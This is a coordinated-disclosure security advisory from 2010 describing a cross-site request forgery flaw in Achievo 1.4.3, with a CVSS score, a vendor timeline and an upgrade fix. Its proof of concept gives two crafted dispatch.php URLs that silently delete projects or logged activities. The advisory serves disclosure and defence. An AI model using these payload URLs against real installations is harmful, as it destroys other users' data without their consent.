Achievo 1.4.3 - Cross-Site Request Forgery

Advisory Name: Cross Site Request Forgery in Achievo 1.4.3



Internal Cybsec Advisory Id: 2010-08-03



Vulnerability Class: Cross Site Request Forgery



Release Date: 2010-Sept-28



Affected Applications: Achievo 1.4.3 (other versions may be also vulnerable)



Affected Platforms: Any



Local / Remote: Remote



Severity: Medium CVSS#2: 4.0 (AV:N/AC:L/Au:S/C:N/I:P/A:N)



Researcher: Pablo G. Milano



Vendor Status: Confirmed / Patch is available



Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf



Vulnerability Description:



As application does not properly validate the “confirm” parameter in URL, a logged-in achievo user
may be tricked to access an URL leading to deletion of tasks or projects without user.s confirmation





Proof of Concept:



1) To delete a project:


http://server/dispatch.php?atknodetype=project.project&atkselector=project.id='XXXX'&atkaction=delete&atklevel=1&atkprevlevel=0&confirm=Yes

(where XXXX is the project ID number)



2) To delete an activity:


http://server/dispatch.php?atknodetype=timereg.hours&atkaction=delete&atkselector=hoursbase.id='XXXX'&confirm=Yes

(where „XXXX. is the actual ID of the activity to be deleted)



Note: Even though a confirmation message is displayed to the user, at that point the activity has
already been deleted.





Solution: Upgrade to version 1.4.5




Vendor Response:



2010-Aug-04: Vendor is contacted

2010-Aug-05: Vulnerabilities details are sent to vendor

2010-Aug-25: Vendor informs status

2010-Sept-27: Vendor and researcher agree publication date

2010-Sept-28: Vulnerability public disclosure / Patch is released



Contact Information:



For more information regarding the vulnerability feel free to contact the researcher at

pmilano <at> cybsec <dot> com



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